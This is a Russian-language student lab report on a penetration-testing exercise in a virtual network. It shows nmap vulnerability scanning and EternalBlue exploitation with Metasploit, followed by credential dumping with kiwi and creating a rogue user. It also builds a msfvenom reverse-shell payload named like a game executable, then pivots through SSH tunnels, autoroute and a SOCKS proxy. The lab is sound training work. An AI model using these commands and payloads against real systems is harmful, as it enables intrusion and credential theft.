# Практика №3. Эксплутация уязвимостей. MetaSplot Framework ## Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать) Импортировали инфрастуктуру в pnet-lab ![](https://i.imgur.com/tFVNS61.png) --- ## Настроить каждое устройство в соответсвии со следующими параметрами: * Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP * На PfSense выполнить проброс с внешних 445/tcp и 3389/tcp портов на аналогичные порты win-7 виртуальной машины **DHCP** - сетевой протокол, позволяющий сетевым устройствам автоматически получать IP-адрес и другие параметры, необходимые для работы в сети TCP/IP. Для получения ip-адресов по протоколу DHCP нужно настроить pfsense. При запуске межсетевого экрана можно увидеть, что работает он прекрасно и должен раздать устройствам в сети их ip-адреса. **WAN** - Wida Area Network - адрес устройств при выходе в Интернет **LAN** - Local Area Network - адрес устройства в локальной сети ![](https://i.imgur.com/kLGvMHM.png) Затем нужно включить Debian и зайти в настройки его интерфейсов с помощью команды `nano /etc/network/interfaces` ![](https://i.imgur.com/E4tygud.png) Выясняется, что настройка получения ip по dhcp у него есть. **iface inet dhcp** значит получение ip-адреса по dhcp. **ens33** другое название для eth0. **allow-hotplug** будет автоматически перезагружать интерфейс в случае, если он упадет. Больше ничего интересного здесь нет и редактор можно закрыть. ![](https://i.imgur.com/29e6oEC.png) Далее следует использовать команду dhclient, чтобы он получил ip и убедиться, что всё успешно получено. Можно его закрыть. ![](https://i.imgur.com/nh0iZ6z.png) Далее нужно запустить устройство с Windows 10 и убедиться, что оно так же получило свой ip-адрес без проблем. Для этого в командной строке нужно ipconfig. Его ip:192.168.1.110 ![](https://i.imgur.com/67IaNuY.png) Аналогичным образом нужно запустить устройство с Windows 7 и проверить, что оно получила ip по dhcp с помощью команды ipconfig. Как видно, его ip: 192.168.1.108 ![](https://i.imgur.com/NEHSaq3.png) Затем нужно настроить проброс портов или по-другому Port-forwading. **Port-forwarding** - это технология, которая позволяет обращаться из Интернет к компьютеру во внутренней сети за маршрутизатором, использующим NAT (NAPT). Доступ осуществляется при помощи перенаправления трафика определенных портов с внешнего адреса маршрутизатора на адрес выбранного компьютера в локальной сети. В браузере ввести ip межсетевого экрана - 192.168.1.1, чтобы открыть pfsense. Он понадобиться для проброса портов. ![](https://i.imgur.com/MvQXaiJ.png) Нужно открыть настройки NAT и проброса портов. ![](https://i.imgur.com/psMPvJr.png) Необходимо создать правило. В качестве Redirect target IP указать ip-адрес машинки, к которой проводится доступ, то есть к устройству с windows 7. В destination port range и в redirect target port, то есть с какого и на какой порт трафик будет перенаправляться, нужно указать 445 порт. Аналогичные действия нужно провести для порта 3389. ![](https://i.imgur.com/AK1RpjA.png) ![](https://i.imgur.com/bf1PlKA.png) Все правила в pfsense успешно применились. ![](https://i.imgur.com/ZAJBPeU.png) Так же в настройках WAN следует убрать эти две галочки для отключения блокировки локальных адресов и bogon адресов(Ip-адресов, которые не должны встречаться в таблице маршрутизации). ![](https://i.imgur.com/mOq4rbl.png) --- ## Выполнить сканирование внешнего интерфейса межсетевого экрана с помощью nmap и Nessus с целью обнаружения уязвимых сервисов Далее на Kali Linux для сканирования внешнего интерфейса межсетевого экрана можно воспользоваться утилитой nmap и ввести следующую команду: `sudo nmap 192.168.186.142 -p 445,3389 -A` **-А** - флаг, который означает "агрессивное" сканирование. **192.168.186.142** - внешний ip-адрес, раздаваемый межсетевым экраном. **-p 445, 3389** - порты, которые необходимо просканировать (в рамках работы нам они уже известны). Таким образом просканируется указанный ip и выяснится, что кали линукс видит проброшенные раннее порты, а так же можно узнать некую информацию о самом устройстве, с которого порты были проброшены. ![](https://i.imgur.com/Ysi6Im5.png) Можно посмотреть информацию о сессии пользователя, который раннее пользовался устройством, операционной системе устройства и т.д. ![](https://i.imgur.com/0VX5HwK.png) Чтобы понять, какие уязвимости есть и какие можно эксплуатировать на просканированной OS, можно воспользоваться nmap со скриптами (Nessus, увы, воспользоваться невозможно, т.к. он работает только с vpn, а вот Pnet-lab с vpn не работает) и ввести следующую команду: `sudo nmap -sV --script vuln -p 445 192.168.186.142` Скрипт **vuln** - выводит информацию о найденной узявимости: краткое описание и CVSS scores(стандарт, который проводит расчет количественных оценок уязвимостей). **-sV** - флаг, который проверяет открытые порты для определения информации о службе. в качестве Ip адреса указывается все тот же внещний ip-адрес, который раздает межсетевой экран. После сканирования, выясняется, что в данной ОС есть уязвимость ms17-010, которой можно воспользоваться. **ms17-010** - эта уязвимость известна как EternalBlue. Она позволяет атакующему выполнять код с самыми высокими привилегиями, возможными в пользовательской модели Microsoft Windows. ![](https://i.imgur.com/ZkcefY7.png) ![](https://i.imgur.com/nFThG4Q.png) --- ## Используя Metasploit Framework - получить доступ до Windows-7 виртуальной машины **Metasploit** - представляет собой платформу для тестирования на проникновение, позволяет имитировать сетевые атаки, а также является средством создания и применения эксплойтов. Так как теперь известна уязвимость на просканированном устройстве, можно ей воспользоваться. Можно исопльзовать Metasploit Framework. Для этого нужно запустить командную оболочку msfconsole. ![](https://i.imgur.com/eEg2EqV.png) ![](https://i.imgur.com/BoNYNm8.png) Командой show exploits можно увидеть список всех доступных эксплойтов ![](https://i.imgur.com/FU1kH4j.png) Нужно искать эксплойты для уже найденной уязвимости ms17-010. Под номером 0 находится уязвимость удаленного подключения к Windows - EternalBlue. ![](https://i.imgur.com/ot2zdSB.png) Затем нужно использоваться этот эксплойт командой use 0 и посмотреть его опции, чтобы понять, что необходимо указывать для атаки. По умолчанию в качестве RPORT указан 445 порт. Так же требуется указать RHOSTS, а последние два значения: VERIFY_ARCH И VERIFY_TARGET нужны для проверки совместимости атакуемой системы с необходимой. ![](https://i.imgur.com/ZIOt60t.png) ![](https://i.imgur.com/9S6DB4g.png) Нужно проивзести настройку параметра RHOSTS. В качестве значения будет указан внешний ip-адрес, присвоенной Windows 7. ![](https://i.imgur.com/00SlJvq.png) Все настройки были проведены. Нужно запустить эксплойт командой run. Как видно из скриншотов, проникновение прошло успешно (об этом говорит надпись WIN). ![](https://i.imgur.com/PTvTjwE.png) ![](https://i.imgur.com/fFt0tLz.png) --- ## Используя payload meterpreter: **Meterpreter** - это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации. По заданию нужно сделать скриншот экрана. Это делается простой командой screenshot. Снимок сохраняется в домашней папке, где его можно открыть. ![](https://i.imgur.com/XULNGnV.png) ![](https://i.imgur.com/FT8qjSy.png) Далее следует использовать технологию reverse_tcp. Так как среда exploit создала оболочку для внедреняи кода, нужно использовать нагрузку payload, которую необходимо запустить, т.к. она уже содержит необходимый код. **reverse tcp (reverse shell)** - позволяет удаленно управлять скомпрометированным компьютером. Установив reverse_tcp командой set, можно его запустить командой run. ![](https://i.imgur.com/R0Ty83I.png) ![](https://i.imgur.com/H2bLVnR.png) Затем, чтобы получить информации об учетных записях, нужно загрузить утилиту kiwi командой load kiwi - она нужна для вывода конфедициальной информации, например паролей. ![](https://i.imgur.com/VUqHP5e.png) Чтобы посмотреть учетные записи, нужно воспользоваться командой creds all. Выводится информация о пользователях, сохраненных в оперативной памяти. ![](https://i.imgur.com/tw9FvyO.png) ![](https://i.imgur.com/fzxQ1T6.png) Далее для создания нового пользователя, следует узнать, какие модули можно использовать. И соответственно можно найти нужный для создания нового пользователя: ![](https://i.imgur.com/KD9WwaV.png) ![](https://i.imgur.com/rU668t1.png) Затем нужно его установить командой use post/windows/manage/add_user и посмотреть опции, чтобы понять, какие обязательные параметры нужно настроить. Как видно, необходимо указать имя пользователя и активную сессию. Командой sessions можно просмотреть активные сессии и здесь эта под номером 1. ![](https://i.imgur.com/WouqAOM.png) ![](https://i.imgur.com/ptk5oeq.png) Далее для создания нового пользователя задаются сессия и имя. В качестве сессии будет выбрана под номером 1, а для имени установлено значение test. ![](https://i.imgur.com/US0rWQs.png) Затем нужно это запустить командой run. Модуль успешно запускается. ![](https://i.imgur.com/1MhJeq7.png) Далее нужно запустить активную сессию и в meterpreter создать нового пользователя с указанным именем и каким-нибудь выдуманным паролем командой: `run getgui -u test -p 12345` **-u** - флаг для указания имени **-p** - флаг для указания пароля фнукция getgui позволяет получить удаленный доступ к системе и создать в ней пользователя. ![](https://i.imgur.com/uolA3tY.png) Нужно зайти в window 7 и убедиться, что новый пользователь был создан. Так же можно просмотреть информацию и о других учетных записях в этой системе. ![](https://i.imgur.com/ajtebZa.png) --- Далее необходимо выполнить проксирование трафика. Одним из его вариантов может быть проброс портов с помощью ssh-туннелирования. **Прокси (прокси-сервер)** - промежуточный сервер в компьютерных сетях, выполняющий роль посредника между пользователем и целевым сервером, позволяющий клиентам как выполнять косвенные запросы к другим сетевым службам, так и получать ответы. Для настройки проксирования, нужно перейти на Kali linux и в командной строке запустить для него ssh. **SSH** - сетевой протокол прикладного уровня, позволяющий производить удалённое управление операционной системой и туннелирование TCP-соединений. ![](https://i.imgur.com/hhB0i0v.png) Можно посмотреть, какие соединения на данный момент открыты командой -ss tlnp. Сейчас их немного, но позже станет чуть побольше. **-t** - флаг, который выводит список TCP соединений. **-l** - флаг, который выводит только Listening сокеты **-n** - флаг, который показывает номер порта. **-p** - флаг, флаг, который показывает имя процесса или программы. ![](https://i.imgur.com/KH7FTf2.png) Так же нужно посмотреть ip-адрес устройства, который понадобится в дальнейшем. Ip: 192.168.186.130 ![](https://i.imgur.com/wsASzmR.png) Затем на Windows 10 нужно выключить сразу брандмауэр, а так же включить разрешение на использование удаленного рабочего стола. ![](https://i.imgur.com/GDP7DUd.png) С помощью команды: `ssh -R 3390:localhost:3389 user@192.168.186.130` Будет произведено удаленное подключение по ssh к линукс устройству. **-R** - флаг означает удаленное подключение. **3390** - здесь может быть любой незанятый порт. **localhost** - адрес системы клиента **3389** - порт источника. **user** - пользователь, которому предоставляется соединение. **192.168.186.130** - ip-адрес пользователя. ![](https://i.imgur.com/WV1jgg8.png) Затем на линуксе нужно использовать команду -ss tulnp и посмотреть, какие соединия были открыты. Порт, который был открыт на Windows 10, так же успешно открылся и здесь. ![](https://i.imgur.com/gwAqrqE.png) Можно подключиться по удаленному серверу к другой системе командой `sudo xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390` freerdp - утилита, реализующая протокол удаленного рабочего стола (RDP). под /u: указывается имя пользователя системы, /p: указывается пароль от пользователя, /v: указывается адрес системы, к которой будет происходит подключение. ![](https://i.imgur.com/Gx9M4pT.png) Как видно, подключение прошло успешно и открылся удаленный рабочий стол другой системы, с который был проброс. ![](https://i.imgur.com/35lhmg8.png) Затем будет производится получение доступа к внутренней сети инфраструктуры. С помощью msfvenom, которая будет подключаться к локальному адресу, можно создать полезную нагрузку. Создается она командой: `msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.186.130 LPORT=5555 -f exe -o brawlstar.exe` **-o** - флаг, означающий, что нужно сохранить полезную нагрузку. **-f** - флаг, означающий формат файла. **brawlstar.exe** - Название файла. **LPORT** - любой порт, который можно указать. ![](https://i.imgur.com/v6A3O0Y.png) С помощью модуля Python можно поднять локальный сервер по указанному порту и передать полезную нагрузку. ![](https://i.imgur.com/qS0aPi2.png) При подключении на Windows 10 к адресу Kali Linux, можно увидеть дерикторию с созданным ранне файлом. Нужно его сохранить, чтобы атака была проведена. Так же лучше заранее отключить антивирус. Если запутстить данный файл, то атака бужет произведена. ![](https://i.imgur.com/CZSdHCc.png) ![](https://i.imgur.com/0HN61lb.png) Для проведения атаки нужно ипользовать уязвимость exploit/multi/handler (нужна для эксплойтов, которые запускаются в незивестном месте). При просмотре опции, видно, что по умолчанию в качестве LPORT указан 4444 порт, его нужно изменить на тот, который был указан при создании полезной нагрузки. Осталось указать LHOST. ![](https://i.imgur.com/5viuFhM.png) ![](https://i.imgur.com/jhZ4eEZ.png) В качестве LHOST указывается 0.0.0.0, а в LHOST=55555. ![](https://i.imgur.com/jm8uDia.png) Запуск вредонсного ПО проходит успешно. Поле запуска пользователм скачанного файла, откроется meterpreter. Можно написать ipconfig и увидеть, что отображается ip_адрес Windows 10: 192.168.1.110. ![](https://i.imgur.com/uoapi1X.png) ![](https://i.imgur.com/rcDN9dk.png) Нужно получить доступ до сети 192.168.1.0. Следует добавить маршрутизацию через внешний адрес сети в инфрастуктур командой run autoroute -s 192.168.1.0/24. ![](https://i.imgur.com/4S3OtK1.png) Затем нужно запустить модуль arp_scanner для распознавания яастных адресов внутри сети. Были обнаружены адреса межсетевого экрана и Windows 10, т.к. только они и работали. ![](https://i.imgur.com/jyXr6DE.png) Затем нужно произвести уход в фоновый режим, чтобы соединение продолжалось оставаться активным. ![](https://i.imgur.com/nzIyXqJ.png) Для проксирования трафика можно было использовать модуль sock4a, но он не был найден, вместо него был найден похожий модуль socks_proxy. ![](https://i.imgur.com/krXF6mi.png) ![](https://i.imgur.com/S1A23SY.png) Ничего дополнительного настраивать не нужно, поэтому модуль запускается командой run и успешно. ![](https://i.imgur.com/OlWH0bl.png) Затем нужно отредактировать конфигурационный файл proxychains.conf, чтобы все заработало. В файле прописывается созданное соединение. ![](https://i.imgur.com/sqhJ8ra.png) ![](https://i.imgur.com/CkLCYVk.png) Под конец нужно запустить утилиту nmap с флагами: **-sT** - сканрует все TCP соединения. **-sV** - првоеряте открытые порты для поиска информации о службе. **-n** - убирает преобразование в DNS-адрес. Таким образом, были обнаружены порты 445,135, 139 и 3389. **Порт 135** используется функцией отображения конечных точек RPC. **Порт 139** используется сеансовой службой NetBIOS, которая активизирует браузер поиска других компьютеров, службы совместного использования файлов, Net Logon и службу сервера. Порты были просканированы и они открыты. ![](https://i.imgur.com/ofItJ14.png) ![](https://i.imgur.com/aybLaue.png)